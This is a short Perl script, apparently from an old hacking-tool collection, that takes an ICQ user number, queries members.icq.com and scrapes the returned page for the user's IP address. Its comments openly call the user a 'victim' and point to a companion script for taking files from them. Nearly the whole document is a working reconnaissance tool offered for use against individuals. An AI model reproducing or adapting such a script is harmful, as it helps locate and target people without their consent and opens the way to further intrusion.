#!/usr/bin/perl

#
# coded, (i.e. slapped together in a lazy-ass way) by Dr. Labrat
#

# Disclamer: If you use this to F*ck someone up, you are a bad, bad person. It wasn't me.
# You are on your own.
#
# Simple- give it a UIN and it will try to give you the IP address of the 
#victim.
#
# Only works if the user is online and is using the ICQ webserver, but then
# that is probably what you need anyhow :-)

# see www.labrat.cx for icqget.pl for getting files from the victim...

# Thought for the day: Using this makes you a script-kiddie.
#
# Thx to Packet St0rm


$uin=$ARGV[0];
$iaddr= gethostbyname("members.icq.com");

if ($uin) {
	$url = "/$uin";
} else {
	die "No uin - Duh.\n";
}

use IO::Socket;
use IO::Handle;

$port = 80;


$proto = getprotobyname("tcp");
$paddr = sockaddr_in($port, $iaddr);


print "ICQ UIN to IP rsolver, by Dr. Labrat\n";


socket(DATA, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(DATA, $paddr) or die "Connect error: $!";
autoflush DATA 1;

print "Connected to members.icq.com...\n";
print "Trying to resolve UIN: $uin\n";

print DATA "GET $url HTTP/1.0\r\n\r\n\r\n";

@data=<DATA>;

if ( $data[0]=~/OK/){
	foreach $chunk (@data) {
		if ( $chunk=~/myhome.gif/) {
			print "Found UIN\n";
			$sneak=$chunk;
			last;
			}
		}
} 

if ($sneak) {
	print "Snarfed the IP address!\n";	
} else {
	die "User not online or not running ICW webserver, maybe doesn't even exist!\n";
}


@ip=split(/\"/,$sneak);

$realip=substr($ip[1], 7,15);

print "\n$realip\n\n";

print "Done....\n";

close DATA;
